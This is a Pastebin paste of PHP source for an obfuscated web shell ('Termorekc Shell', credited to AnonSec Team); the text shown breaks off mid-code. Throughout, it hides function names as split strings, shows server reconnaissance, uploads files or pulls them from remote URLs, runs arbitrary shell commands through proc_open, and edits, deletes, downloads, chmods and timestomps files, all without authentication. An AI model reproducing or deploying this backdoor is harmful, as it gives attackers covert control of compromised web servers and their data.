Advertisement
willysec_id

YuriSEO Shell Fix

Oct 10th, 2023 (edited)
929
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 31.07 KB | Cybersecurity | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4.     <?php echo "<title>Yu".""."".""."l</title>"; ?>
  5.     <meta name="robots" content="noindex">
  6.     <link rel="icon" href="https://i.imgur.com/Be4uoSM.png" type="image/x-icon">
  7. </head>
  8. <body bgcolor="#1f1f1f" text="#ffffff">
  9. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
  10. <style>
  11.     @import url('https://fonts.googleapis.com/css?family=Dosis');
  12.     @import url('https://fonts.googleapis.com/css?family=Bungee');
  13.     @import url('https://fonts.googleapis.com/css?family=Russo+One');
  14. body {
  15.     font-family: "Dosis", cursive;
  16.     text-shadow:0px 0px 1px #757575;
  17. }
  18.  
  19. body::-webkit-scrollbar {
  20.   width: 12px;
  21. }
  22.  
  23. body::-webkit-scrollbar-track {
  24.   background: #1f1f1f;
  25. }
  26.  
  27. body::-webkit-scrollbar-thumb {
  28.   background-color: #1f1f1f;
  29.   border: 3px solid gray;
  30. }
  31.  
  32. #content tr:hover {
  33.     background-color: #636263;
  34.     text-shadow:0px 0px 10px #fff;
  35. }
  36.  
  37. #content .first {
  38.     background-color: #25383C;
  39. }
  40.  
  41. #content .first:hover {
  42.     background-color: #25383C
  43.     text-shadow:0px 0px 1px #757575;
  44. }
  45.  
  46. table {
  47.     border: 1px #000000 dotted;
  48.     table-layout: fixed;
  49. }
  50.  
  51. td {
  52.     word-wrap: break-word;
  53. }
  54.  
  55. a {
  56.     color: #ffffff;
  57.     text-decoration: none;
  58. }
  59.  
  60. a:hover {
  61.     color: #000000;
  62.     text-shadow:0px 0px 10px #ffffff;
  63. }
  64.  
  65. input,select,textarea {
  66.     border: 1px #000000 solid;
  67.     -moz-border-radius: 5px;
  68.     -webkit-border-radius:5px;
  69.     border-radius:5px;
  70. }
  71.  
  72. .gas {
  73.     background-color: #1f1f1f;
  74.     color: #ffffff;
  75.     cursor: pointer;
  76. }
  77.  
  78. select {
  79.     background-color: transparent;
  80.     color: #ffffff;
  81. }
  82.  
  83. select:after {
  84.     cursor: pointer;
  85. }
  86.  
  87. .linka {
  88.     background-color: transparent;
  89.     color: #ffffff;
  90. }
  91.  
  92. .up {
  93.     background-color: transparent;
  94.     color: #fff;
  95. }
  96.  
  97. option {
  98.     background-color: #1f1f1f;
  99. }
  100.  
  101. .btf {
  102.     background: transparent;
  103.     border: 1px #fff solid;
  104.     cursor: pointer;
  105. }
  106.  
  107. ::-webkit-file-upload-button {
  108.   background: transparent;
  109.   color: #fff;
  110.   border-color: #fff;
  111.   cursor: pointer;
  112. }
  113. </style>
  114. <center>
  115. <?php
  116. echo '<font face="Bungee" size="5">Ter'.'mo'.'rek'.'c Sh'.'el'.'l</font></center>
  117. <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
  118. <tr><td>';
  119. set_time_limit(0);
  120. error_reporting(0);
  121.  
  122. $gcw = "ge"."tc"."wd";
  123. $exp = "ex"."plo"."de";
  124. $fpt = "fi"."le_p"."ut_co"."nte"."nts";
  125. $fgt = "f"."ile_g"."et_c"."onten"."ts";
  126. $sts = "s"."trip"."slash"."es";
  127. $scd = "sc"."a"."nd"."ir";
  128. $fxt = "fi"."le_"."exis"."ts";
  129. $idi = "i"."s_d"."ir";
  130. $ulk = "un"."li"."nk";
  131. $ifi = "i"."s_fi"."le";
  132. $sub = "subs"."tr";
  133. $spr = "sp"."ri"."ntf";
  134. $fp = "fil"."epe"."rms";
  135. $chm = "ch"."m"."od";
  136. $ocd = "oc"."td"."ec";
  137. $isw = "i"."s_wr"."itab"."le";
  138. $idr = "i"."s_d"."ir";
  139. $ird = "is"."_rea"."da"."ble";
  140. $isr = "is_"."re"."adab"."le";
  141. $fsz = "fi"."lesi"."ze";
  142. $rd = "r"."ou"."nd";
  143. $igt = "in"."i_g"."et";
  144. $fnct = "fu"."nc"."tion"."_exi"."sts";
  145. $rad = "RE"."M"."OTE_AD"."DR";
  146. $rpt = "re"."al"."pa"."th";
  147. $bsn = "ba"."se"."na"."me";
  148. $srl = "st"."r_r"."ep"."la"."ce";
  149. $sps = "st"."rp"."os";
  150. $mkd = "m"."kd"."ir";
  151.  
  152. $wb = (isset($_SERVER['H'.'T'.'TP'.'S']) && $_SERVER['H'.'T'.'TP'.'S'] === 'o'.'n' ? "ht"."tp"."s" : "ht"."tp") . "://".$_SERVER['HT'.'TP'.'_H'.'OS'.'T'];
  153.  
  154. $disfunc = @$igt("dis"."abl"."e_f"."unct"."ion"."s");
  155. if (empty($disfunc)) {
  156.     $disf = "<font color='gold'>NONE</font>";
  157. } else {
  158.     $disf = "<font color='red'>".$disfunc."</font>";
  159. }
  160.  
  161. function author() {
  162.     echo "<center><br>An"."on"."7 - 2"."02"."2<br><a href='https://sh"."el"."l.an"."ons"."ec-te"."am.org/' target='_blank'>An"."on"."Se"."c Te"."am</a></center>";
  163.     exit();
  164. }
  165.  
  166. function cekdir() {
  167.     if (isset($_GET['loknya'])) {
  168.         $lokasi = $_GET['loknya'];
  169.     } else {
  170.         $lokasi = "ge"."t"."cw"."d";
  171.         $lokasi = $lokasi();
  172.     }
  173.     $b = "i"."s_w"."ri"."tab"."le";
  174.     if ($b($lokasi)) {
  175.         return "<font color='green'>Writeable</font>";
  176.     } else {
  177.         return "<font color='red'>Writeable</font>";
  178.     }
  179. }
  180.  
  181. function crt() {
  182.     $a = "is"."_w"."ri"."tab"."le";
  183.     if ($a($_SERVER['DO'.'CU'.'ME'.'NT'.'_RO'.'OT'])) {
  184.         return "<font color='green'>Writeable</font>";
  185.     } else {
  186.         return "<font color='red'>Writeable</font>";
  187.     }
  188. }
  189.  
  190. function xrd($lokena) {
  191.     $a = "s"."ca"."nd"."ir";
  192.     $items = $a($lokena);
  193.     foreach ($items as $item) {
  194.         if ($item === '.' || $item === '..') {
  195.             continue;
  196.         }
  197.         $b = "is"."_di"."r";
  198.         $loknya = $lokena.'/'.$item;
  199.         if ($b($loknya)) {
  200.             xrd($loknya);
  201.         } else {
  202.             $c = "u"."nl"."in"."k";
  203.             $c($loknya);
  204.         }
  205.     }
  206.     $d = "rm"."di"."r";
  207.     $d($lokena);
  208. }
  209.  
  210. function cfn($fl) {
  211.     $a = "ba"."sena"."me";
  212.     $b = "pat"."hinf"."o";
  213.     $c = $b($a($fl), loknyaINFO_EXTENSION);
  214.     if ($c == "zip") {
  215.         return '<i class="fa fa-file-zip-o" style="color: #d6d4ce"></i>';
  216.     } elseif (preg_match("/jpeg|jpg|png|ico/im", $c)) {
  217.         return '<i class="fa fa-file-image-o" style="color: #d6d4ce"></i>';
  218.     } elseif ($c == "txt") {
  219.         return '<i class="fa fa-file-text-o" style="color: #d6d4ce"></i>';
  220.     } elseif ($c == "pdf") {
  221.         return '<i class="fa fa-file-pdf-o" style="color: #d6d4ce"></i>';
  222.     } elseif ($c == "html") {
  223.         return '<i class="fa fa-file-code-o" style="color: #d6d4ce"></i>';
  224.     }
  225.     else {
  226.         return '<i class="fa fa-file-o" style="color: #d6d4ce"></i>';
  227.     }
  228. }
  229.  
  230. function ipsrv() {
  231.     $a = "g"."eth"."ost"."byna"."me";
  232.     $b = "fun"."cti"."on_"."exis"."ts";
  233.     $c = "S"."ERVE"."R_AD"."DR";
  234.     $d = "SE"."RV"."ER_N"."AM"."E";
  235.     if ($b($a)) {
  236.         return $a($_SERVER[$d]);
  237.     } else {
  238.         return $a($_SERVER[$c]);
  239.     }
  240. }
  241.  
  242. function ggr($fl) {
  243.     $a = "fun"."cti"."on_"."exis"."ts";
  244.     $b = "po"."si"."x_ge"."tgr"."gid";
  245.     $c = "fi"."le"."gro"."up";
  246.     if ($a($b)) {
  247.         if (!$a($c)) {
  248.             return "?";
  249.         }
  250.         $d = $b($c($fl));
  251.         if (empty($d)) {
  252.             $e = $c($fl);
  253.             if (empty($e)) {
  254.                 return "?";
  255.             } else {
  256.                 return $e;
  257.             }
  258.         } else {
  259.             return $d['name'];
  260.         }
  261.     } elseif ($a($c)) {
  262.         return $c($fl);
  263.     } else {
  264.         return "?";
  265.     }
  266. }
  267.  
  268. function gor($fl) {
  269.     $a = "fun"."cti"."on_"."exis"."ts";
  270.     $b = "po"."s"."ix_"."get"."pwu"."id";
  271.     $c = "fi"."le"."o"."wn"."er";
  272.     if ($a($b)) {
  273.         if (!$a($c)) {
  274.             return "?";
  275.         }
  276.         $d = $b($c($fl));
  277.         if (empty($d)) {
  278.             $e = $c($fl);
  279.             if (empty($e)) {
  280.                 return "?";
  281.             } else {
  282.                 return $e;
  283.             }
  284.         } else {
  285.             return $d['name'];
  286.         }
  287.     } elseif ($a($c)) {
  288.         return $c($fl);
  289.     } else {
  290.         return "?";
  291.     }
  292. }
  293.  
  294. function fdt($fl) {
  295.     $a = "da"."te";
  296.     $b = "fil"."emt"."ime";
  297.     return $a("F d Y H:i:s", $b($fl));
  298. }
  299.  
  300. function dunlut($fl) {
  301.     $a = "fil"."e_exi"."sts";
  302.     $b = "ba"."sena"."me";
  303.     $c = "fi"."les"."ize";
  304.     $d = "read"."fi"."le";
  305.     if ($a($fl) && isset($fl)) {
  306.         header('Con'.'tent-Descr'.'iption: Fi'.'le Tra'.'nsfer');
  307.         header("Conte'.'nt-Control:public");
  308.         header('Cont'.'ent-Type: a'.'pp'.'licat'.'ion/oc'.'tet-s'.'tream');
  309.         header('Cont'.'ent-Dis'.'posit'.'ion: at'.'tachm'.'ent; fi'.'lena'.'me="'.$b($fl).'"');
  310.         header('Exp'.'ires: 0');
  311.         header("Ex"."pired:0");
  312.         header('Cac'.'he-Cont'.'rol: must'.'-revali'.'date');
  313.         header("Cont"."ent-Tran"."sfer-Enc"."oding:bi"."nary");
  314.         header('Pra'.'gma: pub'.'lic');
  315.         header('Con'.'ten'.'t-Le'.'ngth: ' .$c($fl));
  316.         flush();
  317.         $d($fl);
  318.         exit;
  319.     } else {
  320.         return "Fi"."le Not F"."ound !";
  321.     }
  322. }
  323.  
  324. function komend($kom, $lk) {
  325.     $x = "pr"."eg_"."mat"."ch";
  326.     $xx = "2".">"."&"."1";
  327.     if (!$x("/".$xx."/i", $kom)) {
  328.         $kom = $kom." ".$xx;
  329.     }
  330.     $a = "fu"."ncti"."on_"."ex"."is"."ts";
  331.     $b = "p"."ro"."c_op"."en";
  332.     $c = "htm"."lspe"."cialc"."hars";
  333.     $d = "s"."trea"."m_g"."et_c"."ont"."ents";
  334.     if ($a($b)) {
  335.         $ps = $b($kom, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $meki, $lk);
  336.         return "<pre>".$c($d($meki[1]))."</pre>";
  337.     } else {
  338.         return "pr"."oc"."_op"."en f"."unc"."tio"."n i"."s di"."sabl"."ed !";
  339.     }
  340. }
  341.  
  342. function green($text) {
  343.     echo "<center><font color='green'>".$text."</center></font>";
  344. }
  345.  
  346. function red($text) {
  347.     echo "<center><font color='red'>".$text."</center></font>";
  348. }
  349.  
  350. function oren($text) {
  351.     return "<center><font color='orange'>".$text."</center></font>";
  352. }
  353.  
  354. function tuls($nm, $lk) {
  355.     return "[ <a href='".$lk."'>".$nm."</a> ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  356. }
  357.  
  358. echo "Se"."rv"."er"." I"."P : <font color=gold>".ipsrv()."</font> &nbsp;/&nbsp; Yo"."ur I"."P : <font color=gold>".$_SERVER[$rad]."</font><br>";
  359. echo "We"."b S"."erv"."er : <font color='gold'>".$_SERVER['SE'.'RV'.'ER_'.'SOF'.'TWA'.'RE']."</font><br>";
  360. $unm = "ph"."p_u"."na"."me";
  361. echo "Sys"."tem : <font color='gold'>".@$unm()."</font><br>";
  362. $gcu = "g"."et_"."curr"."ent"."_us"."er";
  363. $gmu = "g"."et"."my"."ui"."d";
  364. echo "Us"."er : <font color='gold'>".@$gcu()."&nbsp;</font>( <font color='gold'>".@$gmu()."</font>)<br>";
  365. $phv = "ph"."pve"."rsi"."on";
  366. echo "PH"."P V"."er"."sio"."n : <font color='gold'>".@$phv()."</font><br>";
  367. echo "Dis"."abl"."e Fu"."nct"."ion : ".$disf."</font><br>";
  368. echo "MySQL : ";
  369. if (@$fnct("my"."sql_co"."nne"."ct")) {
  370.     echo "<font color=green>ON</font>";
  371. } else {
  372.     echo "<font color=red>OFF</font>";
  373. }
  374. echo " &nbsp;|&nbsp; cURL : ";
  375. if (@$fnct("cu"."rl"."_in"."it")) {
  376.     echo "<font color=green>ON</font>";
  377. } else {
  378.     echo "<font color=red>OFF</font>";
  379. }
  380. echo " &nbsp;|&nbsp; WG"."ET : ";
  381. if (@$fxt("/"."us"."r/b"."in/w"."get")) {
  382.     echo "<font color=green>ON</font>";
  383. } else {
  384.     echo "<font color=red>OFF</font>";
  385. }
  386. echo " &nbsp;|&nbsp; Pe"."rl : ";
  387. if (@$fxt("/u"."sr/b"."in"."/pe"."rl")) {
  388.     echo "<font color=green>ON</font>";
  389. } else {
  390.     echo "<font color=red>OFF</font>";
  391. }
  392. echo " &nbsp;|&nbsp; Pyt"."ho"."n : ";
  393. if (@$fxt("/"."us"."r/b"."in/p"."ytho"."n2")) {
  394.     echo "<font color=green>ON</font>";
  395. } else {
  396.     echo "<font color=red>OFF</font>";
  397. }
  398. echo " &nbsp;|&nbsp; S"."u"."do : ";
  399. if (@$fxt("/"."us"."r/b"."in/s"."u"."d"."o")) {
  400.     echo "<font color=green>ON</font>";
  401. } else {
  402.     echo "<font color=red>OFF</font>";
  403. }
  404. echo " &nbsp;|&nbsp; Pk"."e"."x"."e"."c : ";
  405. if (@$fxt("/"."us"."r/b"."in/p"."k"."e"."x"."e"."c")) {
  406.     echo "<font color=green>ON</font>";
  407. } else {
  408.     echo "<font color=red>OFF</font>";
  409. }
  410. echo "<br>Di"."rect"."ory : &nbsp;";
  411.  
  412. foreach($_POST as $key => $value){
  413.     $_POST[$key] = $sts($value);
  414. }
  415.  
  416. if(isset($_GET['loknya'])){
  417.     $lokasi = $_GET['loknya'];
  418.     $lokdua = $_GET['loknya'];
  419. } else {
  420.     $lokasi = $gcw();
  421.     $lokdua = $gcw();
  422. }
  423.  
  424. $lokasi = $srl('\\','/',$lokasi);
  425. $lokasis = $exp('/',$lokasi);
  426. $lokasinya = @$scd($lokasi);
  427.  
  428. foreach($lokasis as $id => $lok){
  429.     if($lok == '' && $id == 0){
  430.         $a = true;
  431.         echo '<a href="?loknya=/">/</a>';
  432.         continue;
  433.     }
  434.     if($lok == '') continue;
  435.     echo '<a href="?loknya=';
  436.     for($i=0;$i<=$id;$i++){
  437.     echo "$lokasis[$i]";
  438.     if($i != $id) echo "/";
  439. }
  440. echo '">'.$lok.'</a>/';
  441. }
  442.  
  443. echo '</td></tr><tr><td><br>';
  444. if (isset($_POST['upwkwk'])) {
  445.     if (isset($_POST['berkasnya'])) {
  446.         if ($_POST['dirnya'] == "2") {
  447.             $lokasi = $_SERVER['DOC'.'UME'.'NT_R'.'OOT'];
  448.         }
  449.         if (empty($_FILES['berkas']['name'])) {
  450.             echo "<font color=orange>Fi"."le not Se"."lected !</font><br><br>";
  451.         } else {
  452.             $data = @$fpt($lokasi."/".$_FILES['berkas']['name'], @$fgt($_FILES['berkas']['tm'.'p_na'.'me']));
  453.                 if ($fxt($lokasi."/".$_FILES['berkas']['name'])) {
  454.                     $fl = $lokasi."/".$_FILES['berkas']['name'];
  455.                     echo "Fi"."le Upl"."oa"."ded ! &nbsp;<font color='gold'><i>".$fl."</i></font><br>";
  456.                     if ($sps($lokasi, $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) {
  457.                         $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb."/", $fl);
  458.                         echo "Li"."nk : <a href='".$lwb."'><font color='gold'>".$lwb."</font></a><br>";
  459.                     }
  460.                     echo "<br>";
  461.                 } else {
  462.                     echo "<font color='red'>Fa"."ile"."d to Up"."lo"."ad !</font><br><br>";
  463.             }
  464.         }
  465.     } elseif (isset($_POST['linknya'])) {
  466.         if (empty($_POST['namalink'])) {
  467.             echo "<font color=orange>Fi"."lename cannot be empty !</font><br><br>";
  468.         } elseif (empty($_POST['darilink'])) {
  469.             echo "<font color=orange>Link cannot be empty !</font><br><br>";
  470.         } else {
  471.             if ($_POST['dirnya'] == "2") {
  472.             $lokasi = $_SERVER['DOC'.'UME'.'NT_R'.'OOT'];
  473.             }
  474.                 $data = @$fpt($lokasi."/".$_POST['namalink'], @$fgt($_POST['darilink']));
  475.                 if ($fxt($lokasi."/".$_POST['namalink'])) {
  476.                     $fl = $lokasi."/".$_POST['namalink'];
  477.                     echo "Fi"."le Uplo"."ade"."d ! &nbsp;<font color='gold'><i>".$fl."</i></font><br>";
  478.                     if ($sps($lokasi, $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) {
  479.                         $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb."/", $fl);
  480.                         echo "Li"."nk : <a href='".$lwb."'><font color='gold'>".$lwb."</font></a><br>";
  481.                     }
  482.                     echo "<br>";
  483.                 } else {
  484.                     echo "<font color='red'>Fa"."iled to Up"."lo"."ad !</font><br><br>";
  485.                 }
  486.         }
  487.     }
  488. }
  489.  
  490. echo "Uplo"."ad Fi"."le : ";
  491. echo '<form enctype="multip'.'art/form'.'-data" method="p'.'ost">
  492. <input type="radio" value="1" name="dirnya" checked>current_dir [ '.cekdir().' ]
  493. <input type="radio" value="2" name="dirnya" >document_root [ '.crt().' ]
  494. <br>
  495. <input type="hidden" name="upwkwk" value="aplod">
  496. <input type="fi'.'le" name="berkas"><input type="submit" name="berkasnya" value="Up'.'load" class="up" style="cursor: pointer; border-color: #fff"><br>
  497. <input type="text" name="darilink" class="up" placeholder="https://an'.'on7.xyz/upl'.'oad.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="fi'.'le.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
  498. </form>';
  499. echo '<br><form method="post" enctype="application/x-www-form-urlencoded">
  500. Co'.'mm'.'an'.'d : <input type="text" name="komend" class="up" style="cursor: pointer; border-color: #000" value="'.htmlspecialchars($_POST['komend']).'">
  501. <input type="submit" name="komends" value=">>" class="up" style="cursor: pointer; border-color: #fff">
  502. </form>';
  503. echo "</table><br>";
  504.  
  505. echo '<hr><center style="font-family: Russo One">';
  506. echo tuls("HOME", $_SERVER['SC'.'RIP'.'T_N'.'AME']);
  507. //echo tuls("HOME");
  508. echo "<hr></center><br>";
  509.  
  510. if (isset($_GET['lokasie'])) {
  511.     echo "<tr><td>Current Fi"."le : ".$_GET['lokasie'];
  512.     echo '</tr></td></table><br/>';
  513.     echo "<pre>".htmlspecialchars($fgt($_GET['lokasie']))."</pre>";
  514.     author();
  515. } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "hapus") {
  516.     if ($idi($_POST['loknya']) && $fxt($_POST['loknya'])) {
  517.         xrd($_POST['loknya']);
  518.         if ($fxt($_POST['loknya'])) {
  519.             red("Fai"."led to del"."ete Dir"."ec"."tory !");
  520.         } else {
  521.             green("Del"."ete Dir"."ect"."ory Suc"."cess !");
  522.         }
  523.     } elseif ($ifi($_POST['loknya']) && $fxt($_POST['loknya'])) {
  524.         @$ulk($_POST['loknya']);
  525.         if ($fxt($_POST['loknya'])) {
  526.             red("Failed to Delete Fi"."le !");
  527.         } else {
  528.             green("De"."le"."te Fi"."le Succ"."ess !");
  529.         }
  530.     } else {
  531.         red("Fi"."le / Dir"."ecto"."ry not Fo"."und !");
  532.     }
  533. } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
  534.     if (!isset($_POST['cemod'])) {
  535.         if ($_POST['ty'.'pe'] == "fi"."le") {
  536.             echo "<center>Fi"."le : ".htmlspecialchars($_POST['loknya'])."<br>";
  537.         } else {
  538.             echo "<center>D"."ir : ".htmlspecialchars($_POST['loknya'])."<br>";
  539.         }
  540.         echo '<form method="post">
  541.         Pe'.'rmi'.'ss'.'ion : <input name="perm" type="text" class="up" size="4" maxlength="4" value="'.$sub($spr('%o', $fp($_POST['loknya'])), -4).'" />
  542.         <input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
  543.         <input type="hidden" name="pilih" value="ubahmod">';
  544.         if ($_POST['ty'.'pe'] == "fi"."le") {
  545.             echo '<input type="hidden" name="type" value="fi'.'le">';;
  546.         } else {
  547.             echo '<input type="hidden" name="type" value="di'.'r">';;
  548.         }
  549.         echo '<input type="submit" value="Change" name="cemod" class="up" style="cursor: pointer; border-color: #fff"/>
  550.         </form><br>';
  551.     } else {
  552.         $cm = @$chm($_POST['loknya'], $ocd($_POST['perm']));
  553.         if ($cm == true) {
  554.             green("Change Mod Success !");
  555.             if ($_POST['ty'.'pe'] == "fi"."le") {
  556.                 echo "<center>Fi"."le : ".htmlspecialchars($_POST['loknya'])."<br>";
  557.             } else {
  558.                 echo "<center>D"."ir : ".htmlspecialchars($_POST['loknya'])."<br>";
  559.             }
  560.             echo '<form method="post">
  561.             Pe'.'rmi'.'ss'.'ion : <input name="perm" type="text" class="up" size="4" maxlength="4" value="'.$sub($spr('%o', $fp($_POST['loknya'])), -4).'" />
  562.             <input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
  563.             <input type="hidden" name="pilih" value="ubahmod">';
  564.             if ($_POST['ty'.'pe'] == "fi"."le") {
  565.                 echo '<input type="hidden" name="type" value="fi'.'le">';;
  566.             } else {
  567.                 echo '<input type="hidden" name="type" value="di'.'r">';;
  568.             }
  569.             echo '<input type="submit" value="Change" name="cemod" class="up" style="cursor: pointer; border-color: #fff"/>
  570.             </form><br>';
  571.         } else {
  572.             red("Change Mod Failed !");
  573.             if ($_POST['ty'.'pe'] == "fi"."le") {
  574.                 echo "<center>Fi"."le : ".htmlspecialchars($_POST['loknya'])."<br>";
  575.             } else {
  576.                 echo "<center>D"."ir : ".htmlspecialchars($_POST['loknya'])."<br>";
  577.             }
  578.             echo '<form method="post">
  579.             Pe'.'rmi'.'ss'.'ion : <input name="perm" type="text" class="up" size="4" maxlength="4" value="'.$sub($spr('%o', $fp($_POST['loknya'])), -4).'" />
  580.             <input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
  581.             <input type="hidden" name="pilih" value="ubahmod">';
  582.             if ($_POST['ty'.'pe'] == "fi"."le") {
  583.                 echo '<input type="hidden" name="type" value="fi'.'le">';;
  584.             } else {
  585.                 echo '<input type="hidden" name="type" value="di'.'r">';;
  586.             }
  587.             echo '<input type="submit" value="Change" name="cemod" class="up" style="cursor: pointer; border-color: #fff"/>
  588.             </form><br>';
  589.         }
  590.     }
  591. } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "ubahnama") {
  592.     if (isset($_POST['gantin'])) {
  593.         $namabaru = $_GET['loknya']."/".$_POST['newname'];
  594.         $ceen = "re"."na"."me";
  595.         if (@$ceen($_POST['loknya'], $namabaru) === true) {
  596.             green("Change Name Success");
  597.             if ($_POST['ty'.'pe'] == "fi"."le") {
  598.                 echo "<center>Fi"."le : ".htmlspecialchars($_POST['loknya'])."<br>";
  599.             } else {
  600.                 echo "<center>D"."ir : ".htmlspecialchars($_POST['loknya'])."<br>";
  601.             }
  602.             echo '<form method="post">
  603.             New Name : <input name="newname" type="text" class="up" size="20" value="'.htmlspecialchars($_POST['newname']).'" />
  604.             <input type="hidden" name="loknya" value="'.$_POST['newname'].'">
  605.             <input type="hidden" name="pilih" value="ubahnama">';
  606.             if ($_POST['ty'.'pe'] == "fi"."le") {
  607.                 echo '<input type="hidden" name="type" value="fi'.'le">';;
  608.             } else {
  609.                 echo '<input type="hidden" name="type" value="di'.'r">';;
  610.             }
  611.             echo '<input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
  612.             </form><br>';
  613.         } else {
  614.             red("Change Name Failed");
  615.         }
  616.     } else {
  617.         if ($_POST['ty'.'pe'] == "fi"."le") {
  618.             echo "<center>Fi"."le : ".htmlspecialchars($_POST['loknya'])."<br>";
  619.         } else {
  620.             echo "<center>D"."ir : ".htmlspecialchars($_POST['loknya'])."<br>";
  621.         }
  622.         echo '<form method="post">
  623.         New Name : <input name="newname" type="text" class="up" size="20" value="'.htmlspecialchars($bsn($_POST['loknya'])).'" />
  624.         <input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
  625.         <input type="hidden" name="pilih" value="ubahnama">';
  626.         if ($_POST['ty'.'pe'] == "fi"."le") {
  627.             echo '<input type="hidden" name="type" value="fi'.'le">';;
  628.         } else {
  629.             echo '<input type="hidden" name="type" value="di'.'r">';;
  630.         }
  631.         echo '<input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
  632.         </form><br>';
  633.     }
  634. } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
  635.     if (isset($_POST['gasedit'])) {
  636.         $edit = @$fpt($_POST['loknya'], $_POST['src']);
  637.         if ($fgt($_POST['loknya']) == $_POST['src']) {
  638.             green("Ed"."it Fi"."le Suc"."ce"."ss !");
  639.         } else {
  640.             red("Ed"."it Fi"."le Fai"."led !");
  641.         }
  642.     }
  643.     echo "<center>Fi"."le : ".htmlspecialchars($_POST['loknya'])."<br><br>";
  644.     echo '<form method="post">
  645.     <textarea cols=80 rows=20 name="src">'.htmlspecialchars($fgt($_POST['loknya'])).'</textarea><br>
  646.     <input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
  647.     <input type="hidden" name="pilih" value="ed'.'it">
  648.     <input type="submit" value="Ed'.'it Fi'.'le" name="gasedit" class="up" style="cursor: pointer; border-color: #fff"/>
  649.     </form><br>';
  650. } elseif (isset($_POST['komends'])) {
  651.     if (isset($_POST['komend'])) {
  652.         if (isset($_GET['loknya'])) {
  653.             $lk = $_GET['loknya'];
  654.         } else {
  655.             $lk = $gcw();
  656.         }
  657.         $km = 'ko'.'me'.'nd';
  658.         echo $km($_POST['komend'], $lk);
  659.         exit();
  660.     }
  661. } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "ubahtanggal") {
  662.     if (isset($_POST['tanggale'])) {
  663.         $stt = "st"."rtot"."ime";
  664.         $tch = "t"."ou"."ch";
  665.         $tanggale = $stt($_POST['tanggal']);
  666.         if (@$tch($_POST['loknya'], $tanggale) === true) {
  667.             green("Change Da"."te Succ"."ess !");
  668.             $det = "da"."te";
  669.             $ftm = "fi"."le"."mti"."me";
  670.             $b = $det("d F Y H:i:s", $ftm($_POST['loknya']));
  671.             if ($_POST['ty'.'pe'] == "fi"."le") {
  672.                 echo "<center>Fi"."le : ".htmlspecialchars($_POST['loknya'])."<br>";
  673.             } else {
  674.                 echo "<center>D"."ir : ".htmlspecialchars($_POST['loknya'])."<br>";
  675.             }
  676.             echo '<form method="post">
  677.             New Da'.'te : <input name="tanggal" type="text" class="up" size="20" value="'.$b.'" />
  678.             <input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
  679.             <input type="hidden" name="pilih" value="ubahtanggal">';
  680.             if ($_POST['ty'.'pe'] == "fi"."le") {
  681.                 echo '<input type="hidden" name="type" value="fi'.'le">';;
  682.             } else {
  683.                 echo '<input type="hidden" name="type" value="di'.'r">';;
  684.             }
  685.             echo '<input type="submit" value="Change" name="tanggale" class="up" style="cursor: pointer; border-color: #fff"/>
  686.             </form><br>';
  687.         } else {
  688.             red("Fai"."led to Cha"."nge Da"."te !");
  689.         }
  690.     } else {
  691.         $det = "da"."te";
  692.         $ftm = "fi"."le"."mti"."me";
  693.         $b = $det("d F Y H:i:s", $ftm($_POST['loknya']));
  694.         if ($_POST['ty'.'pe'] == "fi"."le") {
  695.             echo "<center>Fi"."le : ".htmlspecialchars($_POST['loknya'])."<br>";
  696.         } else {
  697.             echo "<center>D"."ir : ".htmlspecialchars($_POST['loknya'])."<br>";
  698.         }
  699.         echo '<form method="post">
  700.         New Da'.'te : <input name="tanggal" type="text" class="up" size="20" value="'.$b.'" />
  701.         <input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
  702.         <input type="hidden" name="pilih" value="ubahtanggal">';
  703.         if ($_POST['ty'.'pe'] == "fi"."le") {
  704.             echo '<input type="hidden" name="type" value="fi'.'le">';;
  705.         } else {
  706.             echo '<input type="hidden" name="type" value="di'.'r">';;
  707.         }
  708.         echo '<input type="submit" value="Change" name="tanggale" class="up" style="cursor: pointer; border-color: #fff"/>
  709.         </form><br>';
  710.     }
  711. } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "dunlut") {
  712.     $dunlute = $_POST['loknya'];
  713.     if ($fxt($dunlute) && isset($dunlute)) {
  714.         if ($ird($dunlute)) {
  715.             dunlut($dunlute);
  716.         } elseif ($idr($fl)) {
  717.             red("That is Di"."rec"."tory, Not Fi"."le -_-");
  718.         } else {
  719.             red("Fi"."le is Not Re"."adab"."le !");
  720.         }
  721.     } else {
  722.         red("Fi"."le Not Fo"."und !");
  723.     }
  724. } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "fo"."ld"."er") {
  725.     if ($isw("./") || $ird("./")) {
  726.         $loke = $_POST['loknya'];
  727.         if (isset($_POST['buatfolder'])) {
  728.             $buatf = $mkd($loke."/".$_POST['fo'.'lde'.'rba'.'ru']);
  729.             if ($buatf == true) {
  730.                 green("Folder <b>".htmlspecialchars($_POST['fo'.'lde'.'rba'.'ru'])."</b> Created !");
